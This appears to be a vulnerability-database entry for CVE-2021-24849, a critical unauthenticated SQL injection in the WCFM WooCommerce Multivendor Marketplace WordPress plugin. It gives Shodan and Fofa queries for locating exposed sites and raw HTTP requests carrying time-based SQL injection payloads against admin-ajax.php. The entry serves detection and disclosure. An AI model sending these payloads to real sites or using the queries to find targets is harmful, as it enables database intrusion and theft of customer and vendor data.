| Title | WCFM WooCommerce Multivendor Marketplace < 3.4.12 - SQL Injection |
|---|---|
| Author | ritikchaddha |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute SQL injection through multiple unsanitized parameters, potentially gaining access to all WooCommerce marketplace data including customer and vendor information. |
| Remediation | Fixed in 3.4.12 |
| CVSS Score | 9.8 |
| EPSS Score | 0.6198 |
| CVE ID | CVE-2021-24849 |
| CWE ID | CWE-89 |
| Shodan Query | http.html:/wp-content/plugins/wc-multivendor-marketplace |
| Fofa Query | body=/wp-content/plugins/wc-multivendor-marketplace |
| Tags | time-based-sqli wpscan cve cve2021 wp wp-plugin wordpress wc-multivendor-marketplace sqli wclovers vuln |
The wcfm_ajax_controller AJAX action of the WCFM Marketplace WordPress plugin before 3.4.12, available to unauthenticated and authenticated user, does not properly sanitise multiple parameters before using them in SQL statements, leading to SQL injections.
GET /wp-content/plugins/wc-multivendor-marketplace/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Content-Length: 106
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close
action=wcfm_ajax_controller&controller=wcfm-refund-requests&transaction_id=1+union+select+1+and+sleep(5)--
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2 rv:2.0; mai-IN) AppleWebKit/533.27.1 (KHTML, like Gecko) Version/5.0 Safari/533.27.1
Content-Length: 145
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close
action=wcfm_ajax_controller&controller=wcfm-refund-requests&transaction_id=1&orderby=ID`%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(5)))b)--%20`
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24849.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24849.pcap
N/AN/A